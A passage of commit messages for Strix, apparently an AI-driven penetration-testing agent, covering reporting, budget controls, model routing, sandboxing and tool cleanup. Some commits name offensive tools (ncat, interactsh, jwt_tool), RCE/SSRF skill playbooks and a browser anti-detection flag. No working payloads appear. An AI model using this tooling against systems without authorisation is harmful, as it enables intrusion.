feat(inputs): implement logic for required tool choice based on model
test(inputs): add tests for force_required_tool_choice behavior
test(runner): update tests to include force_required_tool_choice in settings
- Increased UI update interval from 350ms to 500ms
- Reduced dot animation frequency from 60ms to 250ms
- Reduced splash animation frequency from 50ms to 100ms
- Added content hash cache for rendered agent messages to avoid
re-parsing markdown and re-running Pygments on every tick
- Added guard to prevent redundant scroll_end callbacks from queuing
during rapid updates
Closes#581
StrixDockerSandboxClient.delete() best-effort-kills the sandbox container via
containers.get(id).kill() before delegating to the SDK's delete(), suppressing
docker NotFound/APIError. But when the docker daemon socket is already going
away — the normal case on a host/CI teardown — containers.get() ->
inspect_container raises requests' ConnectionError, which is a *sibling* of
docker.errors.APIError under requests.RequestException, not a subclass. So it
escapes the APIError-only suppress and surfaces a full traceback on teardown
even though the kill is meant to be best-effort.
Add RequestException to the suppress so the best-effort kill is genuinely
best-effort regardless of daemon reachability.
Test: tests/test_docker_client_delete.py — the kill raising ConnectionError
(and NotFound/APIError) is swallowed and delete() still delegates; unrelated
errors still propagate; no-container_id is a no-op. The ConnectionError case
fails against the pre-fix APIError-only suppress.
* feat: add bedrock + vertex optional extras with install docs and import hints (#574)
Declare [project.optional-dependencies] with vertex (google-auth) and
bedrock (boto3) extras so "strix-agent[vertex]" / "strix-agent[bedrock]"
install the provider SDKs. Add an Installation section to the Bedrock docs
mirroring Vertex, and a _provider_import_hint helper in warm_up_llm that
surfaces a pip-install hint when a provider dependency is missing.
Fixes#574, #573
* fix(providers): use pipx in install hint to match docs
A pipx-installed strix can't add an extra with 'pip install' (wrong env);
mirror the documented 'pipx install "strix-agent[...]"' command. Addresses
Greptile review.
Builds on the SARIF 2.1.0 emitter (#626): give each SARIF rule one or more
`stride:<leg>` tags (Spoofing / Tampering / Repudiation / Information
disclosure / Denial of service / Elevation of privilege) derived from the
finding's CWE, so consumers — the GitHub code-scanning Security tab, ASPM
dashboards, coverage reports — can group and filter findings by
threat-model leg. SARIF results inherit their rule's tags via ruleId, so
tagging the rule is sufficient.
- _CWE_TO_STRIDE maps common CWEs to legs (dominant leg first where a CWE
spans several); unmapped / no-CWE findings fall back to a default
(tampering + information-disclosure) so every finding carries >=1 leg
and downstream reports have no coverage gaps.
- Includes mappings for CWEs surfaced by real scans: 798 (hardcoded
creds), 862 (missing authz), 259 (hardcoded password), 1391 (weak
credential).
Tests: tests/report/test_sarif_stride.py (14 cases — mapping, normalization
of CWE-306/306/"cwe: 306" forms, default fallback, rule-tag emission).
_read_json_overrides is documented to let env vars outrank the
persisted cli-config.json, but it decided per-alias and broke on the
first alias found in either env or the file. When a multi-alias field
(e.g. api_key via LLM_API_KEY/OPENAI_API_KEY) was set in the env under
one alias but stored in the file under another, the stale file value
was surfaced as an init kwarg and overrode the live env var. A
lowercase env var was also missed (settings use case_sensitive=False).
Decide whether a field is already set in the environment by checking
all of its aliases case-insensitively before consulting the file. Add
regression tests for the cross-alias and case-insensitive cases.
Closes#688
* feat(report): SARIF 2.1.0 emitter for CI / code-scanning integration
Strix emits CSV + markdown + JSON but no SARIF, so findings can't feed
GitHub code-scanning, an ASPM, or any SARIF-consuming CI gate. Add a
stdlib-only emitter (strix/report/sarif.py) and always write findings.sarif
from ReportState._save_artifacts, beside the existing artifacts.
Design invariants (learned from running this in production):
- Stable partialFingerprints.primaryLocationLineHash per finding, so a
re-scan that re-words a title doesn't churn code-scanning alert IDs.
- Class/category hashing so the same vuln class maps to a stable ruleId
across scans rather than drifting.
- Findings with no code location anchor to SECURITY.md with a synthetic
location marker instead of being silently dropped.
- Always emit (even with zero findings) so a clean re-scan overwrites a
stale findings.sarif and code-scanning auto-resolves fixed alerts.
- tool.driver.version reports the strix package version.
- Fully isolated in its own try/except: a SARIF build error must never
break the CSV/MD/run-record path.
Verified end-to-end on v1.0.4 against a SQLi/cmd-inj/weak-hash fixture:
3 findings -> valid SARIF 2.1.0, 3 results, real code locations, distinct
per-finding fingerprints.
* fix(report): complete SARIF code scanning metadata
---------
Co-authored-by: bearsyankees <bearsyankees@gmail.com>
* Add five community security skills for agent specialization
Expand coverage with OAuth flow testing, AWS misconfigurations, prototype
pollution, insecure deserialization, and Django framework playbooks.
* Address Greptile review feedback on AWS and deserialization skills
- Use head-bucket for S3 existence checks instead of duplicating s3 ls
- Add Node.js to insecure_deserialization frontmatter description
* Clarify S3 existence vs public listing checks in aws skill
Split unauthenticated enumeration into separate head-bucket/HTTP
and s3 ls steps with interpretation guidance per review.
* some tools ads
---------
Co-authored-by: bearsyankees <bearsyankees@gmail.com>
Line 72 was over-indented, causing an IndentationError on import of strix/report/writer.py and breaking main. Also bump the mirrors-mypy pre-commit hook to v1.17.1 to avoid the mypy 1.16.0 internal crash (python/mypy#19412) on openai/_client.py.
* fix: resolve pre-commit check failures
- Change RuntimeError to TypeError for type validation in report/writer.py
- Update pyupgrade to v3.21.2 for Python 3.14 compatibility
* chore: add pytest test infrastructure
Mirror the layout introduced on feature/438-token_budget: pytest +
pytest-asyncio dev deps, asyncio_mode auto, a tests.* mypy override, and
pytest in the mypy pre-commit hook deps so the tests/ package type-checks.
* feat: add --mount and large-target pre-flight for local repos (#492)
Large local targets were copied into the sandbox file-by-file via the SDK
LocalDir entry, which stalls on big repos and could leave /workspace empty.
- --mount <path> bind-mounts a host directory read-only at /workspace/<subdir>
instead of copying it, bypassing the per-file stream.
- A size pre-flight (STRIX_MAX_LOCAL_COPY_MB, default 1024) fails fast with a
clear message suggesting --mount when a non-mounted local target is too big.
* fix: reject empty --mount paths
An empty or whitespace-only --mount value resolves to the current working
directory and would silently bind-mount it into the sandbox. Reject it.
* fix: dedupe local targets so a dir is never both copied and mounted
If the same directory is passed via --target and --mount (or as duplicate
values), it previously produced two targets — copied AND bind-mounted, and
the copied one could trip the size pre-flight. Dedupe by resolved path,
preferring the bind mount.
* fix: treat non-positive STRIX_MAX_LOCAL_COPY_MB as disabled
Previously a value of 0 (or negative) made every local target count as
oversized, aborting all local scans. Now <= 0 disables the pre-flight.
* fix: log unreadable subtrees during size pre-flight
os.walk silently swallowed directory-listing errors, so a permission-denied
subtree could make a large repo under-count and slip past the pre-flight.
Surface such omissions via an onerror warning.
* docs: document --mount and STRIX_MAX_LOCAL_COPY_MB
Add CLI reference + example for --mount, document the size pre-flight env var,
note the read-only-is-not-a-hard-boundary caveat and that remote repos are not
size-checked, and clarify the backends docstring on when bind mounts apply.
* Update strix/interface/main.py
* Update strix/runtime/docker_client.py
---------
* fix: resolve pre-commit check failures
- Change RuntimeError to TypeError for type validation in report/writer.py
- Update pyupgrade to v3.21.2 for Python 3.14 compatibility
* feat(cli): add --max-budget-usd flag
Raises BudgetExceededError in ReportUsageHooks after each LLM call when
accumulated cost reaches the limit, with clean "stopped" status and
child-agent cancellation in non-interactive mode.
* test: add budget enforcement unit tests
7 tests covering no-budget, under-budget, at-limit, over-limit, error
message content, None report state, and exception hierarchy.
Also adds pytest/pytest-asyncio to dev deps and a mypy override for tests.
* fix(budget): validate positive budget and check the live cost ledger
Two hardening fixes for --max-budget-usd enforcement:
- Reject non-positive budgets. ReportUsageHooks now raises ValueError for
max_budget_usd <= 0, and the CLI validates the flag via a custom argparse
type so '--max-budget-usd 0' fails fast with a friendly message instead of
silently killing the scan on the first model response.
- Read the live cost. The budget check now reads ReportState.get_total_llm_cost()
(the live ledger) instead of the persisted run-record snapshot, so it stays
accurate even when a usage save fails after a model call.
* fix(budget): stop the entire scan deterministically when the limit is hit
Previously a BudgetExceededError was handled per-agent: it was swallowed in
interactive mode (the loop kept waiting), a child's error escaped its detached
task as an unretrieved-exception warning, the parent was never released from
wait_for_message, and the stop was logged at ERROR with a traceback as if the
agent had failed.
Replace that with a single scan-wide signal on the coordinator:
- AgentCoordinator.trigger_budget_stop() sets a flag and wakes every parked
agent; wait_for_message returns as soon as the flag is set.
- The run loops check coordinator.budget_stopped and raise to exit cleanly,
marking themselves 'stopped'. The root's exception reaches run_strix_scan's
handler, which cancels descendants and tears the scan down once; child
exceptions are swallowed in their detached task.
- The budget stop is logged at INFO, not as a failure.
This is deterministic regardless of tree depth or which agent first sees the
limit, fixing the interactive/TUI hang where a deep agent's stop never reached
a parked root. Also re-raises BudgetExceededError explicitly in the stream
handler so it can't be mistaken for the LiteLLM 'after shutdown' race.
* fix(budget): treat a budget stop as a clean stop in the TUI
Add an explicit BudgetExceededError handler in the TUI scan thread so that, if
the error ever reaches it, the budget stop is logged as a graceful stop rather
than surfaced as a red scan error by the broad 'except Exception'. The runner
normally absorbs the error and returns cleanly, so this is defensive depth for
a money-spending feature.
* docs(cli): document --max-budget-usd behavior and limitations
Clarify that the budget is cumulative across all agents, checked after each
model response, that the scan stops cleanly (not as a failure), that the value
must be > 0, and that spend can slightly overshoot due to in-flight calls and
best-effort cost estimation.
* Apply suggestions from code review
---------
Register a litellm.success_callback that captures kwargs['response_cost']
into a new observed-cost bucket on LLMUsageLedger. record() skips the
tokens-times-registry estimate for LiteLLM-routed models so we do not
double-count with the callback; OpenAI direct routes keep estimating
since LiteLLM is not invoked for them. Per-agent attribution for
LiteLLM-routed calls is apportioned by token share at to_record() time.
OpenAI's Responses API rejects reasoning.effort on non-reasoning
models like gpt-4o with `unsupported_parameter`, so any scan with
the default STRIX_REASONING_EFFORT=high against gpt-4o crashed at
the first model call. drop_params=True absorbs the rejected param
on LiteLLM-routed models but the SDK's native OpenAI path has no
equivalent.
Lift model_supports_reasoning to a public helper that strips
litellm/, any-llm/, openai/ prefixes and falls back to last-segment
lookup so prefixed forms like anthropic/claude-opus-4-7 resolve
through the bare model_cost entry. make_model_settings regains
model_name and skips Reasoning() when the registry doesn't confirm
support. uses_chat_completions_tool_schema reuses the same helper
(was duplicating the lookup under a misleading name).
OpenAI's Responses API rejects tools[i].type="custom" on non-reasoning
models like gpt-4o (400 with code=unknown_parameter, param=tools).
Strix's SDK-native Filesystem capability registers CustomTool entries
by default, so a bare STRIX_LLM=gpt-4o run failed at the first tool
invocation even though warm-up (a tool-less call) succeeded.
uses_chat_completions_tool_schema now consults
litellm.model_cost[<name>].supports_reasoning for OpenAI routes and
flips to the chat-completions function-tool schema for models that
don't carry the reasoning flag. Same registry-lookup pattern as
is_known_openai_bare_model. Non-OpenAI prefixes and configs with
LLM_API_BASE are unchanged (still function tools).
litellm.suppress_debug_info silences two unsolicited print() calls in
LiteLLM core: the "Provider List: https://docs.litellm.ai/docs/providers"
banner emitted by get_llm_provider_logic and the "Give Feedback /
Get Help" + "If you need to debug this error, use litellm._turn_on_debug()"
pair emitted by exception_mapping_utils on every LiteLLM exception.
Both are unconditional print() calls, not logger output, so log-level
config can't catch them. LiteLLM's own router and proxy_server set the
same flag for the same reason.
Warn on bare unknown model names before warm-up. is_known_openai_bare_model
consults litellm.model_cost and matches only entries whose
litellm_provider == "openai". When the configured STRIX_LLM has no
provider prefix, isn't a known OpenAI model, and no LLM_API_BASE is
set, show a clear panel pointing the user at the <provider>/<model>
form and exit before issuing the doomed request — no more chasing an
"Incorrect API key" 401 from OpenAI when the user actually meant
deepseek/, anthropic/, etc. Custom-base configs are still allowed
through unconfirmed.
Disable LiteLLM's message-logging and streaming-logging knobs to cut
noise and skip one of the two end-of-stream submit paths. The other
path at streaming_handler.py:2206 schedules work on a global
ThreadPoolExecutor that loses to atexit shutdown when the interpreter
is winding down; the SDK's stream consumer surfaces that as a fatal
"cannot schedule new futures after shutdown" RuntimeError even though
the actual stream content was already delivered. Catch and swallow
that specific RuntimeError in _run_cycle so the scan isn't killed by
an upstream end-of-stream logging race.
Drop every hand-rolled provider table and per-model gating that had
accumulated in the model-handling layer:
* normalize_model_name no longer auto-prefixes bare claude-* / gemini-*
names. Users supply the full <provider>/<model> form. The function
became literally model_name.strip(), so callers now inline that and
the function is removed.
* tool_choice="required" is gone everywhere. Thinking-mode endpoints
(Anthropic, DeepSeek /beta) reject it; modern reasoning models don't
need it; non-interactive runs already have
_append_noninteractive_tool_required_message as the convergence
backstop. model_supports_reasoning, model_known_to_registry, and
_model_cost_entry were only used to gate this and follow it out.
* Reasoning(effort=...) is now attached whenever
STRIX_REASONING_EFFORT is non-none. litellm.drop_params=True absorbs
it for non-reasoning models.
* Warm-up's bare-name OpenAI 401 hint is removed (false-positive prone,
relied on substring matching).
* reset_tool_choice on SandboxAgent is no-op now (no tool_choice gets
set) and is removed.
* report/dedupe.py was still routing through stock MultiProvider, so
non-OpenAI configs failed the dedupe LLM pass; switch it to
StrixProvider.
Verified end-to-end against modern provider strings (openai/gpt-5.4,
anthropic/claude-opus-4-7, deepseek/deepseek-reasoner,
gemini/gemini-2.5-pro, groq/, xai/, mistral/, together_ai/, perplexity/,
openrouter/, litellm/ legacy form, and whitespace-padded input): 18/18
cases route correctly, env vars mirror via litellm.validate_environment,
and ModelSettings carries no tool_choice. mypy strict passes.
Users had to type STRIX_LLM=litellm/deepseek/deepseek-chat — the
litellm/ wrapper was Strix-internal plumbing surfacing in user config.
Add StrixProvider, a MultiProvider subclass that routes any non-OpenAI
prefix (deepseek/, anthropic/, groq/, xai/, mistral/, openrouter/, …)
through LitellmProvider with the prefix preserved. normalize_model_name
no longer adds litellm/ to anything; bare claude-* / gemini-* shorthands
expand to anthropic/<model> / gemini/<model> instead of the wrapped form.
Wire StrixProvider into warm_up_llm and RunConfig.model_provider.
litellm/<provider>/<model> and any-llm/<provider>/<model> still resolve
unchanged for users on older config.
Refresh stale model names in the env-validation messages and the
warm-up hint (gpt-5.4, claude-opus-4-7, deepseek-reasoner).
Verified 24-case end-to-end matrix: OpenAI direct vs. LitellmProvider
routing, env-var mirroring via validate_environment, supports_reasoning
detection, and tool_choice gating all behave correctly across modern
providers including the user's unknown DeepSeek SKU.
When the user opts into reasoning_effort but the configured model
isn't in litellm.model_cost at all (private SKUs, fresh releases the
registry hasn't picked up — e.g. deepseek/deepseek-v4-pro), we can't
confirm thinking support and were sending tool_choice="required",
which thinking-mode endpoints reject ("Thinking mode does not support
this tool_choice").
Add model_known_to_registry() and split the decision: when the user
wants reasoning AND the model is either confirmed-reasoning OR
unknown-to-registry, drop tool_choice. The Reasoning(effort=...) param
still only attaches for confirmed-reasoning models, so we don't send
reasoning hints to known non-reasoning models.
Known non-reasoning models (gpt-4o, registry-confirmed) keep
tool_choice="required" unchanged.
A bare model name without a provider prefix routes through the SDK's
default OpenAI provider, so configuring STRIX_LLM=deepseek-v4-pro with
LLM_API_KEY=<deepseek key> sends that key to api.openai.com and
surfaces a confusing "Incorrect API key" error pointing at the OpenAI
dashboard.
When warm-up fails with an OpenAI-shaped error AND the configured
model is still unprefixed after normalize_model_name, append a hint
that points the user at the '<provider>/<model>' form with concrete
examples.
Naively uppercasing the routing prefix breaks for providers whose
LiteLLM env var name doesn't match the prefix verbatim:
together_ai/... needs TOGETHERAI_API_KEY (no underscore)
perplexity/... needs PERPLEXITYAI_API_KEY
Ask LiteLLM directly via litellm.validate_environment(model=...) which
env vars it consults for the chosen provider, then setdefault each one
to LLM_API_KEY. This is the SDK-blessed lookup and stays correct for
every provider LiteLLM supports without a hand-maintained name map.
Lowercase the routed model name before lookup so mixed-case user input
(e.g. Together_AI/...) still resolves.
normalize_model_name expands `claude-*` and `gemini-*` shorthands into
`litellm/anthropic/...` and `litellm/gemini/...` at routing time, but
the mirror helper was looking at the raw pre-normalization name — bare
shorthands had no `/` and hit the early return, so ANTHROPIC_API_KEY /
GEMINI_API_KEY were never populated for those users.
Run the same normalization inside the mirror helper so the provider
prefix is consistent with what LiteLLM actually sees downstream.
LiteLLM's per-provider branches (deepseek, anthropic, groq, etc.)
don't consult ``litellm.api_key`` (the module global Strix sets).
They only check the per-call ``api_key`` kwarg and the
``<PROVIDER>_API_KEY`` env var. The SDK's LitellmModel passes
``api_key=None`` by default, so requests went out with an empty
bearer and DeepSeek (and friends) returned 401.
Mirror the user's LLM_API_KEY into the provider-specific env var
(``DEEPSEEK_API_KEY`` for ``deepseek/...``, ``ANTHROPIC_API_KEY``
for ``anthropic/...``, etc.) using LiteLLM's documented convention.
``os.environ.setdefault`` is used so an explicit user env is never
clobbered. The OpenAI branch was already working via
``set_default_openai_key`` + the existing ``litellm.api_key`` global
fallback.
Brings in 10 commits from main on top of the v1.0.0 branch.
Resolutions:
- Legacy harness files modified on main but deleted in the migration —
kept as deleted: strix/agents/base_agent.py, strix/agents/state.py,
strix/config/config.py, strix/llm/llm.py,
strix/llm/memory_compressor.py, strix/llm/utils.py,
strix/runtime/docker_runtime.py.
- tests/runtime/test_docker_runtime.py — removed; tests dead code.
- strix/skills/vulnerabilities/idor.md and ssrf.md — auto-merged.
- New skills from main kept: header_injection.md, http_request_smuggling.md,
nosql_injection.md, ssti.md.
Five rounds of sweep across the tree. Net ~544 lines removed.
Removed:
- Section-divider banners and one-line section labels (# Display
utilities, # ----- list_requests -----, # CVSS breakdown, etc.).
- Module-level prose docstrings on internal modules. Kept one-line
summaries; trimmed multi-paragraph narration about SDK/Strix
responsibility splits, cache strategies, three-source precedence.
- Internal-helper docstrings that just restate the function name —
caido_api helpers (caido_url, get_client, view_request, etc.),
settings-class one-liners (LLMSettings, RuntimeSettings, ...),
UI helper docstrings.
- Args/Returns blocks on non-LLM-facing internal helpers
(build_strix_agent, render_system_prompt, create_or_reuse,
bootstrap_caido) — kept only the genuinely non-obvious params.
- Internal-history phrasing — "Mirrors main-branch shape",
"pre-SDK harness", "previous lookup matched no attribute".
- Narrative comments inside function bodies that explained what the
next line does, design rationale obvious from the surrounding code,
or "we used to..." asides.
- Trailing periods on every error-string literal across the tool tree.
- Duplicated roundtripTime quirk comment (kept the LLM-facing copy in
tools/proxy/tools.py).
Kept (every one names an upstream bug, vendored-code provenance, or
non-obvious data quirk):
- core/runner.py: SDK replay-with-empty-initial-input + on_agent_end
lifecycle gap.
- runtime/docker_client.py: VERBATIM COPY block of the upstream
_create_container body, pinned to SDK v0.14.6.
- runtime/session_manager.py: NO_PROXY for agent-browser CDP loopback.
- tools/proxy/caido_api.py: generated-pydantic Request.raw quirk,
replay double-history pitfall.
- tools/proxy/tools.py: Caido roundtripTime=0 quirk for proxy
captures.
Four passes of audit-and-patch on the tool surface, condensed.
Tool API shape:
- Todo tools collapse to a single list-based form (one arg per tool,
always a list, no dual-mode validator). Result-field names line up
across the family — created_count / updated_count / marked_count /
deleted_count, and _mark returns a single "marked" key plus the new
status instead of marked_done / marked_pending.
- list_notes splits the overloaded total_count into filtered_count
(matches) and total_count (grand total), matching list_todos. All
three notes mutations now echo total_count and note_id.
- finish_scan drops the machine-code error strings; a single human
"error" key carries the reason on every failure path.
- scope_rules delete echoes a message so the renderer's success
branch has something to surface.
Failure-key unification: every tool now uses {"success": False,
"error": "..."} on failure paths. Touched thinking, web_search,
reporting, and finish. Trailing periods on error strings swept clean
across the whole tool tree.
Tool prompts (docstring re-imports vs main):
- create_vulnerability_report re-imports the CWE reference catalog,
multi-part fix rules, fix_before/fix_after PR-suggestion mechanics,
the COMMON MISTAKES list, the informational-vs-actionable
distinction, and file-path examples.
- web_search re-imports concrete example queries.
- list_sitemap docstring fixed hasDescendants -> has_descendants
(the camelCase reference never matched our snake_case schema).
- create_agent.skills description "Comma-separated" -> "List of".
- factory.py module docstring no longer claims there's no runtime
skill-loading tool. agents_graph module docstring lists stop_agent.
- system_prompt nudges loading the matching skill before guessing
payloads or syntax from memory.
TUI:
- proxy_renderer was reading stale field names from the pre-SDK
schema (requests / total_count / statusCode / matches /
showing_lines); now reads entries / page_info / status_code / hits
/ page+total_lines. Three proxy operations were rendering empty
before this.
- Idle-pane placeholder text trimmed to "Loading...".
create_todo / update_todo / mark_todo_done / mark_todo_pending /
delete_todo used to accept either a single-item form (title, todo_id,
…) or a bulk form (todos, updates, todo_ids), reject the call if the
agent set both, and explain the rule in the docstring. The agent kept
tripping the validator. Drop the single-item form everywhere — each
tool now takes one list arg. Single calls just pass a one-item list.
While the API was being reshaped, line the result schemas up:
created_count replaces the lone "count", _mark returns a single
"marked" key plus new_status instead of marked_done / marked_pending,
and list_todos splits the overloaded total_count into filtered_count
(matches) and total_count (grand total) so a filtered call no longer
hides the real size.
Docstrings now spell out each item's fields with required/optional
and the legal status / priority values, plus a worked example.
exec_command, write_stdin, apply_patch, view_image, load_skill,
list_sitemap, and view_sitemap_entry were falling through to the
generic dict-dumper. They now render in the same visual language as
the rest of the toolset: the terminal pair uses the >_ icon with
pygments bash highlighting; apply_patch and view_image use the file-
edit diamond with colored +/- diff lines and per-language syntax
highlighting; sitemap and load_skill mirror the proxy and skill
patterns already established.
Both backends share session/version/first-run helpers in
strix/telemetry/_common.py and fire from the same four call sites in
strix/interface/main.py and strix/report/state.py. STRIX_TELEMETRY is
the single toggle for both.
Every agent-facing tool now has a corresponding directory: the
strix-implemented ones already do, and the SDK-provided ones
(exec_command/write_stdin shell, apply_patch, view_image) plus the
sandbox-CLI agent-browser get README-only stubs. Each README names the
implementation source, where the tool is wired up, the strix-specific
config it inherits, and the skill that teaches its usage. Listing
strix/tools/ now gives a new reader the full agent toolset at a glance.
The stub dirs intentionally have no __init__.py — they are not Python
packages, just documentation. Nothing in the codebase auto-discovers
strix.tools.* as packages (all imports are explicit), so the stubs
cannot accidentally affect runtime behavior.
The image ships 15 tools (jwt_tool, interactsh-client, arjun, dirsearch,
gospider, wafw00f, retire, eslint, jshint, js-beautify, JS-Snooper,
jsniper.sh, vulnx, ncat, uv) that the always-loaded skills never name
with usage guidance — agents could discover them via the environment
catalog but had no when/how. Add concise mentions in the natural home
for each: jwt_tool in the JWT skill, interactsh-client in the OAST
sections of SSRF/XXE/RCE, arjun in IDOR recon, dirsearch as the broad
alternate in the ffuf skill, gospider + the JS scrapers in katana,
wafw00f next to httpx, retire/eslint/jshint/js-beautify as a new
JavaScript-Side Coverage block in the SAST playbook, uv in python,
vulnx in the deep scan-mode CVE bullet, ncat in a new RCE Tooling
block.
Audit also turned up three real breakages along the way:
- jwt_tool's shebang resolves to /usr/bin/python3 but its dependencies
live in /app/.venv, so every invocation died with
ModuleNotFoundError: ratelimit. Replace the bare symlink with a
wrapper that execs /app/.venv/bin/python against the real script.
- dirsearch's pipx venv ended up with setuptools 82, which dropped
pkg_resources — startup failed before parsing args. Pin the inject
to setuptools<81.
- ESLint's --no-eslintrc flag was removed in v9; the surviving
--no-config-lookup covers it. Drop the dead flag from the SAST
command block.
Also corrected the JS-Snooper / jsniper.sh entry in katana.md — both
take a bare domain and run their own JS discovery internally, not the
JS URLs Katana already harvested.
AGENT_BROWSER_ARGS parser splits on commas, so any flag value
containing one (--disable-features=A,B, --window-size=1920,1080,
--lang=en-US,en) shredded into garbage positionals and Chromium
rejected the launch with "Multiple targets are not supported in
headless mode". Reduce to a comma-separated list of comma-free
flags that keeps the AutomationControlled anti-detection bit.
Default screenshot path now resolves inside the workspace root so
view_image accepts it; entrypoint pre-creates the dir at runtime
(the build-time mkdir is shadowed by the /workspace mount). Skill
examples updated to favor the no-arg form, plus brief fallback
guidance when view_image is unavailable on text-only models and a
viewport-resize note for sites that gate on real desktop dims.
Also drop the stale STRIX_DISABLE_BROWSER doc entry — no code
reference exists.
The replacement text was telling the model "view_image is unsupported
on this scan; do not call it again" — which is wrong when the
rejection was format-specific (SVG rejected, JPEG would have worked).
Shorten to a neutral description of what happened; let the model
decide whether to retry with a different format or skip the asset.
When view_image lands an image content block in the agent session and the
next model call fails because the provider rejects the format (SVG on
Anthropic, anything on a text-only model, etc.), the agent used to die
once the general failsafe parked it and there was no way back.
Recovery flow when _run_cycle catches an input-rejection error
(BadRequestError/NotFoundError/422, by status_code) and the latest
session item is an image-bearing function_call_output:
- pop_item() the offending output (single SDK-public primitive)
- add_items() a replacement function_call_output paired by the original
call_id, with text content telling the model "view_image is
unsupported on this scan; do not call it again"
- retry the cycle once with empty input_data
Gated by status_code so unrelated failures (timeouts, 5xx, 429, auth,
network blips) leave session content intact — no false-trigger that
would destroy a valid image during a transient hiccup on a
vision-capable model. Hard cap of 3 strips per cycle so a model that
keeps re-calling view_image despite the instruction text still
terminates.
strip_latest_image_from_session lives in core.sessions next to
open_agent_session — both are session helpers operating only through
the SDK's public Session protocol.
Main's load_skill tool was deleted during the SDK migration along
with the prompt-mutation pattern it relied on. Re-add the capability
without the mutation: load_skill(skills=[...]) now returns the skill
markdown bodies as a tool result, so the content lands in conversation
history as in-context reference rather than as patched-in system
prompt content. Same source of truth (load_skills + skill files),
same validation (validate_requested_skills) as create_agent.
Tool result format is plain markdown (## Skill: <name> headers joined
with ---), not the <specialized_knowledge> XML wrapping used at
agent-build time. The XML framing was deliberately reserved for
prompt-level privileged context; tool-loaded skills are honestly
labelled as just-fetched reference material.
Close the discovery loop by surfacing the full skill catalog in the
system prompt. Without it the model could only guess skill names —
discovering them via validation errors on misses. Now every agent
sees a categorised <available_skills> block right after the
<specialized_knowledge> block with a short hint pointing at
create_agent / load_skill.
Skills module: factored _iter_user_skill_files() so get_all_skill_names
(set, for validation) and get_available_skills (dict by category,
for the prompt) share one source of truth on what counts as
user-selectable. Internal categories (scan_modes, coordination) stay
excluded from both.
Three concrete wraps on exec_command / write_stdin via the existing
Shell capability configure_tools mechanism, plus one skill-doc fix.
All wraps fire on both Responses and chat-completions paths; the
chat-completions error-as-result wrap still stacks on top when needed.
- write_stdin: decode the common escape forms in `chars` (\uXXXX,
\xXX, \n \t \r \0 \a \b \v \f \\). Models routinely send the
literal six-char string `` intending the ASCII control byte;
the SDK takes chars verbatim so the byte never reaches the PTY and
documented mechanisms like Ctrl-C, arrows, and Escape silently
don't work. Allowlist regex over recognized escapes only —
unrecognized sequences like `\p` pass through untouched.
- exec_command: catch InvalidManifestPathError and rewrite to a
model-actionable message ("workdir must be a path inside
/workspace") using the exception's structured `context["rel"]` so
we don't need to string-match the SDK's wording.
- Both tools: catch pydantic ValidationError once at the wrap and
reformat into a short "{tool}: invalid arguments — {field}: {msg}"
string. Covers empty cmd, missing required fields, ge/min_length
violations on max_output_tokens and yield_time_ms — and any future
schema field the SDK adds.
Updated python.md guidance: the `shell=` parameter is for swapping
POSIX shells (bash/zsh/sh). Interpreters belong in `cmd` —
`cmd="python3 -c '...'"`, not `shell=python3`. The `shell=interpreter`
shortcut breaks in interpreter-specific ways (python needs `-c`,
node/ruby/perl need `-e`) so there's no clean code fix and we don't
try one.
Failure messages were echoing the raw requests-exception text — for an
empty query the model would see "API request failed: 400 Client Error:
Bad Request for url: https://api.perplexity.ai/chat/completions" and
learn the upstream URL, the HTTP status, and the literal word "API"
none of which it has any use for or right to. Same pattern in every
except branch: KeyError leaked internal field names, generic exceptions
leaked library exception text, etc.
Two fixes:
- Pre-flight reject empty/whitespace queries so the trivial misuse case
never hits the network at all and gets a "Query cannot be empty."
result immediately.
- Sanitize every failure path: split RequestException into HTTPError
(4xx → "rejected the query — refine and retry", 5xx → "service
unavailable"), Timeout, ConnectionError, response-shape (KeyError /
IndexError / ValueError), and a generic catch-all. Each path returns
a short actionable message and logs the full traceback via
logger.exception so operator-side observability is preserved. The
model sees no URLs, no status codes, no library exception text.
While in here: the missing-API-key message keeps the env var name
because that's operator-actionable, and the dead "results": [] field
the failure paths used to carry is dropped (success path never had it
either, so the shape was inconsistent).
- view_agent_graph status summary now derives buckets from the canonical
Status literal via get_args, so adding a new status in core.agents
auto-flows into the summary. The previous hardcoded five-bucket list
silently omitted "failed" — buckets stopped summing to total whenever
an agent failed.
- stop_agent rejects targets that are already in a terminal status
(completed / stopped / crashed / failed) with a model-readable error
pointing at view_agent_graph and send_message_to_agent. request_stop
unconditionally overwrites status, so without this guard calling
stop_agent on a completed agent erased the "completed" history.
- StopAgentRenderer added — was falling back to the generic key/value
renderer; the rest of the agents_graph tools have purpose-built ones.
- agent_finish root-rejection payload trimmed from
{success, agent_completed, error, parent_notified} to {success, error}.
The lifecycle gate only reads success+agent_completed and they were
always False/False on this branch, so the extra fields were dead weight.
- wait_for_message renames its top-level outcome field from "status" to
"wait_outcome" — "status" overloaded with the coordinator's agent
status literal (which also has "stopped" as a value, different
meaning). Redundant "agent_waiting" boolean dropped (true iff
wait_outcome == "waiting"). Consumer at factory._wait_tool_parked
updated to match.
- send_message_to_agent now refuses self-send with a pointer at think /
agent_finish / finish_scan instead of looping a message into your
own session.
- SendMessageToAgentRenderer read args.get("agent_id") but the tool's
param is target_agent_id, so the TUI silently never showed the target.
Fixed.
- Restored skill validation lost during the SDK migration: skills
module re-exports get_all_skill_names and validate_requested_skills
(excluding internal scan_modes/coordination categories from the
user-selectable set). create_agent now validates skills before
spawning instead of silently accepting unknown names.
Three gotchas that bite the model once per scan if uncovered:
- HTTPQL has no NOT operator. Naive `NOT req.path.cont:"/static"`
is a parse error. The negated-operator variants (`ne`, `ncont`,
`nlike`, `nregex`) are the only way to negate.
- Strings must be quoted, integers must not. `resp.code.eq:"200"`
parses as a string-vs-int mismatch.
- A bare quoted literal searches both `req.raw` and `resp.raw` —
useful primitive we never surfaced.
All three land in the model-visible tool description.
Re-add list_sitemap and view_sitemap_entry from main, ported to the
new caido-sdk-client layout via raw GraphQL queries (the typed SDK
doesn't expose sitemap operations, but the Caido server still
supports sitemapRootEntries / sitemapDescendantEntries / sitemapEntry).
Wired through caido_api (sandbox-importable helpers), the host-side
@function_tool wrappers, factory _BASE_TOOLS, the system prompt, the
python skill doc, and the public proxy docs.
While threading these through, lock down the output contract across
every proxy tool so the model sees one consistent shape:
- All tools wrap success/failure in {"success": bool, "error"?: str}
- Canonical field names: status_code, length, roundtrip_ms (omitted
when 0), is_tls, has_descendants. snake_case everywhere on output;
camelCase stays only on the input side where it's the GraphQL
schema.
- repeat_request now returns a structured response that matches
list_requests' response_summary shape (parse_raw_response parses
the raw bytes into status_code / length / headers / body), with
